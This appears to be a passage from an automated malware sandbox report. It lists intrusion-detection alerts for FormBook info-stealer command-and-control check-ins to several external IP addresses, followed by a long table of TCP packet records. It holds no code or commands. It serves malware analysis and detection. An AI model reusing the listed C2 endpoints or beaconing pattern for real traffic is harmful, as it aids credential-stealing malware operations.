2024-10-09T14:20:23.842524+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	49635	183.181.83.131	80	TCP
2024-10-09T14:20:23.842524+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	49635	183.181.83.131	80	TCP
2024-10-09T14:20:29.999500+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49636	38.47.232.196	80	TCP
2024-10-09T14:20:32.512036+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49637	38.47.232.196	80	TCP
2024-10-09T14:20:35.247466+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49638	38.47.232.196	80	TCP
2024-10-09T14:20:37.626584+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	49639	38.47.232.196	80	TCP
2024-10-09T14:20:37.626584+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	49639	38.47.232.196	80	TCP
2024-10-09T14:20:44.064387+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49640	3.33.130.190	80	TCP
2024-10-09T14:20:45.667999+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49641	3.33.130.190	80	TCP
2024-10-09T14:20:48.225838+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49642	3.33.130.190	80	TCP
2024-10-09T14:20:51.716612+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	49643	3.33.130.190	80	TCP
2024-10-09T14:20:51.716612+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	49643	3.33.130.190	80	TCP
2024-10-09T14:20:58.129652+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49644	154.212.219.2	80	TCP
2024-10-09T14:21:00.661953+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49645	154.212.219.2	80	TCP
2024-10-09T14:21:03.232231+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49646	154.212.219.2	80	TCP
2024-10-09T14:21:05.903310+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	49647	154.212.219.2	80	TCP
2024-10-09T14:21:05.903310+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	49647	154.212.219.2	80	TCP
2024-10-09T14:21:13.023711+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49648	133.130.35.90	80	TCP
2024-10-09T14:21:15.543693+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49649	133.130.35.90	80	TCP
2024-10-09T14:21:18.271142+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49650	133.130.35.90	80	TCP
2024-10-09T14:21:20.647744+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	49651	133.130.35.90	80	TCP
2024-10-09T14:21:20.647744+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	49651	133.130.35.90	80	TCP
2024-10-09T14:21:26.327783+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49652	3.33.130.190	80	TCP
2024-10-09T14:21:29.874916+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49653	3.33.130.190	80	TCP
2024-10-09T14:21:32.399266+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49654	3.33.130.190	80	TCP
2024-10-09T14:21:34.967764+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	49655	3.33.130.190	80	TCP
2024-10-09T14:21:34.967764+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	49655	3.33.130.190	80	TCP
2024-10-09T14:21:40.994458+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49656	172.191.244.62	80	TCP
2024-10-09T14:21:43.770543+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49657	172.191.244.62	80	TCP
2024-10-09T14:21:46.255504+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49658	172.191.244.62	80	TCP
2024-10-09T14:21:48.803534+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	49659	172.191.244.62	80	TCP
2024-10-09T14:21:48.803534+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	49659	172.191.244.62	80	TCP
2024-10-09T14:21:54.748602+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49660	162.241.244.106	80	TCP
2024-10-09T14:21:57.326171+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49661	162.241.244.106	80	TCP
2024-10-09T14:21:59.854513+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49662	162.241.244.106	80	TCP
2024-10-09T14:22:02.484919+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	49663	162.241.244.106	80	TCP
2024-10-09T14:22:02.484919+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	49663	162.241.244.106	80	TCP
2024-10-09T14:22:09.654766+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49671	199.59.243.227	80	TCP
2024-10-09T14:22:12.189283+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49672	199.59.243.227	80	TCP
2024-10-09T14:22:14.726611+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49673	199.59.243.227	80	TCP
2024-10-09T14:22:17.290027+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	49674	199.59.243.227	80	TCP
2024-10-09T14:22:17.290027+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	49674	199.59.243.227	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 9, 2024 14:19:07.413137913 CEST	49352	80	192.168.2.4	44.213.25.70
Oct 9, 2024 14:19:07.418256998 CEST	80	49352	44.213.25.70	192.168.2.4
Oct 9, 2024 14:19:07.418497086 CEST	49352	80	192.168.2.4	44.213.25.70
Oct 9, 2024 14:19:07.432673931 CEST	49352	80	192.168.2.4	44.213.25.70
Oct 9, 2024 14:19:07.437650919 CEST	80	49352	44.213.25.70	192.168.2.4
Oct 9, 2024 14:19:08.596672058 CEST	80	49352	44.213.25.70	192.168.2.4
Oct 9, 2024 14:19:08.615659952 CEST	80	49352	44.213.25.70	192.168.2.4
Oct 9, 2024 14:19:08.615783930 CEST	80	49352	44.213.25.70	192.168.2.4
Oct 9, 2024 14:19:08.616111040 CEST	49352	80	192.168.2.4	44.213.25.70
Oct 9, 2024 14:19:08.619203091 CEST	49352	80	192.168.2.4	44.213.25.70
Oct 9, 2024 14:19:08.624083042 CEST	80	49352	44.213.25.70	192.168.2.4
Oct 9, 2024 14:19:24.062446117 CEST	49355	80	192.168.2.4	206.119.82.134
Oct 9, 2024 14:19:24.067622900 CEST	80	49355	206.119.82.134	192.168.2.4
Oct 9, 2024 14:19:24.067698956 CEST	49355	80	192.168.2.4	206.119.82.134
Oct 9, 2024 14:19:24.081482887 CEST	49355	80	192.168.2.4	206.119.82.134
Oct 9, 2024 14:19:24.086327076 CEST	80	49355	206.119.82.134	192.168.2.4
Oct 9, 2024 14:19:24.978863001 CEST	80	49355	206.119.82.134	192.168.2.4
Oct 9, 2024 14:19:24.979238987 CEST	80	49355	206.119.82.134	192.168.2.4
Oct 9, 2024 14:19:24.979387045 CEST	49355	80	192.168.2.4	206.119.82.134
Oct 9, 2024 14:19:25.590595007 CEST	49355	80	192.168.2.4	206.119.82.134
Oct 9, 2024 14:19:26.616101027 CEST	49367	80	192.168.2.4	206.119.82.134
Oct 9, 2024 14:19:26.621081114 CEST	80	49367	206.119.82.134	192.168.2.4
Oct 9, 2024 14:19:26.621249914 CEST	49367	80	192.168.2.4	206.119.82.134
Oct 9, 2024 14:19:26.632097960 CEST	49367	80	192.168.2.4	206.119.82.134
Oct 9, 2024 14:19:26.637084007 CEST	80	49367	206.119.82.134	192.168.2.4
Oct 9, 2024 14:19:27.506109953 CEST	80	49367	206.119.82.134	192.168.2.4
Oct 9, 2024 14:19:27.506134987 CEST	80	49367	206.119.82.134	192.168.2.4
Oct 9, 2024 14:19:27.506452084 CEST	49367	80	192.168.2.4	206.119.82.134
Oct 9, 2024 14:19:28.137347937 CEST	49367	80	192.168.2.4	206.119.82.134
Oct 9, 2024 14:19:29.156913996 CEST	49377	80	192.168.2.4	206.119.82.134
Oct 9, 2024 14:19:29.163130999 CEST	80	49377	206.119.82.134	192.168.2.4
Oct 9, 2024 14:19:29.163228989 CEST	49377	80	192.168.2.4	206.119.82.134
Oct 9, 2024 14:19:29.175136089 CEST	49377	80	192.168.2.4	206.119.82.134
Oct 9, 2024 14:19:29.180090904 CEST	80	49377	206.119.82.134	192.168.2.4
Oct 9, 2024 14:19:29.180105925 CEST	80	49377	206.119.82.134	192.168.2.4
Oct 9, 2024 14:19:29.180160046 CEST	80	49377	206.119.82.134	192.168.2.4
Oct 9, 2024 14:19:29.180175066 CEST	80	49377	206.119.82.134	192.168.2.4
Oct 9, 2024 14:19:29.180197954 CEST	80	49377	206.119.82.134	192.168.2.4
Oct 9, 2024 14:19:29.180214882 CEST	80	49377	206.119.82.134	192.168.2.4
Oct 9, 2024 14:19:29.180602074 CEST	80	49377	206.119.82.134	192.168.2.4
Oct 9, 2024 14:19:29.180615902 CEST	80	49377	206.119.82.134	192.168.2.4
Oct 9, 2024 14:19:29.180629969 CEST	80	49377	206.119.82.134	192.168.2.4
Oct 9, 2024 14:19:30.080307007 CEST	80	49377	206.119.82.134	192.168.2.4
Oct 9, 2024 14:19:30.121685982 CEST	49377	80	192.168.2.4	206.119.82.134
Oct 9, 2024 14:19:30.684493065 CEST	49377	80	192.168.2.4	206.119.82.134
Oct 9, 2024 14:19:31.703162909 CEST	49390	80	192.168.2.4	206.119.82.134
Oct 9, 2024 14:19:31.709743023 CEST	80	49390	206.119.82.134	192.168.2.4
Oct 9, 2024 14:19:31.709822893 CEST	49390	80	192.168.2.4	206.119.82.134
Oct 9, 2024 14:19:31.716711044 CEST	49390	80	192.168.2.4	206.119.82.134
Oct 9, 2024 14:19:31.722320080 CEST	80	49390	206.119.82.134	192.168.2.4
Oct 9, 2024 14:19:32.618989944 CEST	80	49390	206.119.82.134	192.168.2.4
Oct 9, 2024 14:19:32.668658018 CEST	49390	80	192.168.2.4	206.119.82.134
Oct 9, 2024 14:19:33.580859900 CEST	80	49390	206.119.82.134	192.168.2.4
Oct 9, 2024 14:19:33.581157923 CEST	49390	80	192.168.2.4	206.119.82.134
Oct 9, 2024 14:19:33.582462072 CEST	49390	80	192.168.2.4	206.119.82.134
Oct 9, 2024 14:19:33.587255955 CEST	80	49390	206.119.82.134	192.168.2.4
Oct 9, 2024 14:19:38.622492075 CEST	49423	80	192.168.2.4	67.223.117.189
Oct 9, 2024 14:19:38.627408981 CEST	80	49423	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:38.627506018 CEST	49423	80	192.168.2.4	67.223.117.189
Oct 9, 2024 14:19:38.637706041 CEST	49423	80	192.168.2.4	67.223.117.189
Oct 9, 2024 14:19:38.642679930 CEST	80	49423	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:39.233439922 CEST	80	49423	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:39.233467102 CEST	80	49423	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:39.233479023 CEST	80	49423	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:39.233489037 CEST	80	49423	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:39.233500004 CEST	80	49423	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:39.233510971 CEST	80	49423	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:39.233521938 CEST	80	49423	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:39.233537912 CEST	49423	80	192.168.2.4	67.223.117.189
Oct 9, 2024 14:19:39.233582020 CEST	49423	80	192.168.2.4	67.223.117.189
Oct 9, 2024 14:19:39.233618021 CEST	80	49423	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:39.233628035 CEST	80	49423	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:39.233639002 CEST	80	49423	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:39.233661890 CEST	49423	80	192.168.2.4	67.223.117.189
Oct 9, 2024 14:19:39.233679056 CEST	49423	80	192.168.2.4	67.223.117.189
Oct 9, 2024 14:19:39.238456964 CEST	80	49423	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:39.238545895 CEST	80	49423	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:39.238598108 CEST	49423	80	192.168.2.4	67.223.117.189
Oct 9, 2024 14:19:39.319575071 CEST	80	49423	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:39.319628954 CEST	80	49423	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:39.319645882 CEST	80	49423	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:39.319673061 CEST	80	49423	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:39.319684982 CEST	80	49423	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:39.319700956 CEST	49423	80	192.168.2.4	67.223.117.189
Oct 9, 2024 14:19:39.319732904 CEST	49423	80	192.168.2.4	67.223.117.189
Oct 9, 2024 14:19:39.319992065 CEST	80	49423	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:39.320004940 CEST	80	49423	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:39.320014954 CEST	80	49423	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:39.320034981 CEST	49423	80	192.168.2.4	67.223.117.189
Oct 9, 2024 14:19:39.320066929 CEST	49423	80	192.168.2.4	67.223.117.189
Oct 9, 2024 14:19:39.320369959 CEST	80	49423	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:39.320382118 CEST	80	49423	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:39.320394993 CEST	80	49423	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:39.320413113 CEST	49423	80	192.168.2.4	67.223.117.189
Oct 9, 2024 14:19:39.320414066 CEST	80	49423	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:39.320425987 CEST	80	49423	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:39.320477009 CEST	49423	80	192.168.2.4	67.223.117.189
Oct 9, 2024 14:19:39.321228981 CEST	80	49423	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:39.321242094 CEST	80	49423	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:39.321255922 CEST	80	49423	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:39.321271896 CEST	49423	80	192.168.2.4	67.223.117.189
Oct 9, 2024 14:19:39.321316004 CEST	49423	80	192.168.2.4	67.223.117.189
Oct 9, 2024 14:19:40.153156996 CEST	49423	80	192.168.2.4	67.223.117.189
Oct 9, 2024 14:19:41.173296928 CEST	49437	80	192.168.2.4	67.223.117.189
Oct 9, 2024 14:19:41.178262949 CEST	80	49437	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:41.178333998 CEST	49437	80	192.168.2.4	67.223.117.189
Oct 9, 2024 14:19:41.188683987 CEST	49437	80	192.168.2.4	67.223.117.189
Oct 9, 2024 14:19:41.193856955 CEST	80	49437	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:41.767956972 CEST	80	49437	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:41.768027067 CEST	80	49437	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:41.768064022 CEST	80	49437	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:41.768076897 CEST	49437	80	192.168.2.4	67.223.117.189
Oct 9, 2024 14:19:41.768121958 CEST	80	49437	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:41.768173933 CEST	80	49437	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:41.768177986 CEST	49437	80	192.168.2.4	67.223.117.189
Oct 9, 2024 14:19:41.768210888 CEST	80	49437	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:41.768240929 CEST	80	49437	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:41.768254995 CEST	49437	80	192.168.2.4	67.223.117.189
Oct 9, 2024 14:19:41.768275976 CEST	80	49437	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:41.768312931 CEST	80	49437	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:41.768317938 CEST	49437	80	192.168.2.4	67.223.117.189
Oct 9, 2024 14:19:41.768348932 CEST	80	49437	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:41.768387079 CEST	49437	80	192.168.2.4	67.223.117.189
Oct 9, 2024 14:19:41.773272991 CEST	80	49437	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:41.773384094 CEST	80	49437	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:41.773416996 CEST	80	49437	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:41.773439884 CEST	49437	80	192.168.2.4	67.223.117.189
Oct 9, 2024 14:19:41.773454905 CEST	80	49437	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:41.773493052 CEST	49437	80	192.168.2.4	67.223.117.189
Oct 9, 2024 14:19:41.861059904 CEST	80	49437	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:41.861140013 CEST	80	49437	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:41.861154079 CEST	80	49437	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:41.861166954 CEST	80	49437	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:41.861208916 CEST	49437	80	192.168.2.4	67.223.117.189
Oct 9, 2024 14:19:41.861239910 CEST	49437	80	192.168.2.4	67.223.117.189
Oct 9, 2024 14:19:41.861381054 CEST	80	49437	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:41.861393929 CEST	80	49437	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:41.861406088 CEST	80	49437	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:41.861447096 CEST	49437	80	192.168.2.4	67.223.117.189
Oct 9, 2024 14:19:41.861466885 CEST	80	49437	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:41.861479998 CEST	80	49437	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:41.861494064 CEST	80	49437	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:41.861510992 CEST	49437	80	192.168.2.4	67.223.117.189
Oct 9, 2024 14:19:41.861543894 CEST	49437	80	192.168.2.4	67.223.117.189
Oct 9, 2024 14:19:41.863460064 CEST	80	49437	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:41.863522053 CEST	80	49437	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:41.863533974 CEST	80	49437	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:41.863565922 CEST	49437	80	192.168.2.4	67.223.117.189
Oct 9, 2024 14:19:41.863617897 CEST	80	49437	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:41.863631010 CEST	80	49437	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:41.863658905 CEST	49437	80	192.168.2.4	67.223.117.189
Oct 9, 2024 14:19:41.863864899 CEST	80	49437	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:41.863913059 CEST	49437	80	192.168.2.4	67.223.117.189
Oct 9, 2024 14:19:42.700156927 CEST	49437	80	192.168.2.4	67.223.117.189
Oct 9, 2024 14:19:43.718849897 CEST	49454	80	192.168.2.4	67.223.117.189
Oct 9, 2024 14:19:43.723881006 CEST	80	49454	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:43.726871014 CEST	49454	80	192.168.2.4	67.223.117.189
Oct 9, 2024 14:19:43.738126993 CEST	49454	80	192.168.2.4	67.223.117.189
Oct 9, 2024 14:19:43.743196964 CEST	80	49454	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:43.743215084 CEST	80	49454	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:43.743228912 CEST	80	49454	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:43.743278980 CEST	80	49454	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:43.743288040 CEST	80	49454	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:43.743298054 CEST	80	49454	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:43.743360996 CEST	80	49454	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:43.743371010 CEST	80	49454	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:43.743380070 CEST	80	49454	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:44.427808046 CEST	80	49454	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:44.427834034 CEST	80	49454	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:44.427844048 CEST	80	49454	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:44.427932024 CEST	49454	80	192.168.2.4	67.223.117.189
Oct 9, 2024 14:19:44.427983046 CEST	80	49454	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:44.427993059 CEST	80	49454	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:44.427999020 CEST	80	49454	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:44.428009033 CEST	80	49454	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:44.428021908 CEST	80	49454	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:44.428030014 CEST	49454	80	192.168.2.4	67.223.117.189
Oct 9, 2024 14:19:44.428046942 CEST	49454	80	192.168.2.4	67.223.117.189
Oct 9, 2024 14:19:44.428065062 CEST	49454	80	192.168.2.4	67.223.117.189
Oct 9, 2024 14:19:44.428282022 CEST	80	49454	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:44.428350925 CEST	80	49454	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:44.431519032 CEST	49454	80	192.168.2.4	67.223.117.189
Oct 9, 2024 14:19:44.432768106 CEST	80	49454	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:44.432809114 CEST	80	49454	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:44.432818890 CEST	80	49454	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:44.432849884 CEST	49454	80	192.168.2.4	67.223.117.189
Oct 9, 2024 14:19:44.481235981 CEST	49454	80	192.168.2.4	67.223.117.189
Oct 9, 2024 14:19:44.529742956 CEST	80	49454	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:44.529931068 CEST	80	49454	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:44.529946089 CEST	80	49454	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:44.529958963 CEST	80	49454	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:44.529977083 CEST	49454	80	192.168.2.4	67.223.117.189
Oct 9, 2024 14:19:44.530000925 CEST	49454	80	192.168.2.4	67.223.117.189
Oct 9, 2024 14:19:44.530041933 CEST	80	49454	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:44.530086994 CEST	80	49454	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:44.530098915 CEST	80	49454	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:44.530128956 CEST	49454	80	192.168.2.4	67.223.117.189
Oct 9, 2024 14:19:44.530155897 CEST	80	49454	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:44.530190945 CEST	49454	80	192.168.2.4	67.223.117.189
Oct 9, 2024 14:19:44.530719995 CEST	80	49454	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:44.530788898 CEST	80	49454	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:44.530800104 CEST	80	49454	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:44.530812979 CEST	80	49454	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:44.530833960 CEST	49454	80	192.168.2.4	67.223.117.189
Oct 9, 2024 14:19:44.530864954 CEST	49454	80	192.168.2.4	67.223.117.189
Oct 9, 2024 14:19:44.530905962 CEST	80	49454	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:44.531685114 CEST	80	49454	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:44.531707048 CEST	80	49454	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:44.531718016 CEST	80	49454	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:44.531735897 CEST	49454	80	192.168.2.4	67.223.117.189
Oct 9, 2024 14:19:44.531750917 CEST	49454	80	192.168.2.4	67.223.117.189
Oct 9, 2024 14:19:44.532077074 CEST	80	49454	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:44.532111883 CEST	49454	80	192.168.2.4	67.223.117.189
Oct 9, 2024 14:19:45.246982098 CEST	49454	80	192.168.2.4	67.223.117.189
Oct 9, 2024 14:19:46.265917063 CEST	49470	80	192.168.2.4	67.223.117.189
Oct 9, 2024 14:19:46.270915031 CEST	80	49470	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:46.270992994 CEST	49470	80	192.168.2.4	67.223.117.189
Oct 9, 2024 14:19:46.278547049 CEST	49470	80	192.168.2.4	67.223.117.189
Oct 9, 2024 14:19:46.283515930 CEST	80	49470	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:46.872437000 CEST	80	49470	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:46.872478962 CEST	80	49470	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:46.872519016 CEST	80	49470	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:46.872551918 CEST	49470	80	192.168.2.4	67.223.117.189
Oct 9, 2024 14:19:46.872571945 CEST	80	49470	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:46.872606993 CEST	80	49470	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:46.872639894 CEST	80	49470	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:46.872669935 CEST	49470	80	192.168.2.4	67.223.117.189
Oct 9, 2024 14:19:46.872675896 CEST	80	49470	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:46.872693062 CEST	49470	80	192.168.2.4	67.223.117.189
Oct 9, 2024 14:19:46.872711897 CEST	80	49470	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:46.872756004 CEST	49470	80	192.168.2.4	67.223.117.189
Oct 9, 2024 14:19:46.872762918 CEST	80	49470	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:46.872798920 CEST	80	49470	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:46.872838974 CEST	49470	80	192.168.2.4	67.223.117.189
Oct 9, 2024 14:19:46.878035069 CEST	80	49470	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:46.878117085 CEST	80	49470	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:46.878154993 CEST	80	49470	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:46.878169060 CEST	49470	80	192.168.2.4	67.223.117.189
Oct 9, 2024 14:19:46.918879032 CEST	49470	80	192.168.2.4	67.223.117.189
Oct 9, 2024 14:19:46.959640980 CEST	80	49470	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:46.959714890 CEST	80	49470	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:46.959752083 CEST	80	49470	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:46.959788084 CEST	80	49470	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:46.959822893 CEST	80	49470	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:46.959922075 CEST	49470	80	192.168.2.4	67.223.117.189
Oct 9, 2024 14:19:46.959935904 CEST	80	49470	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:46.959978104 CEST	80	49470	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:46.960006952 CEST	80	49470	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:46.960077047 CEST	80	49470	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:46.960103989 CEST	49470	80	192.168.2.4	67.223.117.189
Oct 9, 2024 14:19:46.960110903 CEST	80	49470	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:46.960163116 CEST	49470	80	192.168.2.4	67.223.117.189
Oct 9, 2024 14:19:46.960167885 CEST	80	49470	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:46.960202932 CEST	80	49470	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:46.960237980 CEST	80	49470	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:46.960242987 CEST	49470	80	192.168.2.4	67.223.117.189
Oct 9, 2024 14:19:46.961046934 CEST	80	49470	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:46.961081028 CEST	80	49470	67.223.117.189	192.168.2.4
Oct 9, 2024 14:19:46.961090088 CEST	49470	80	192.168.2.4	67.223.117.189
Oct 9, 2024 14:19:46.961122990 CEST	80	49470	67.223.117.189	192.168.2.4
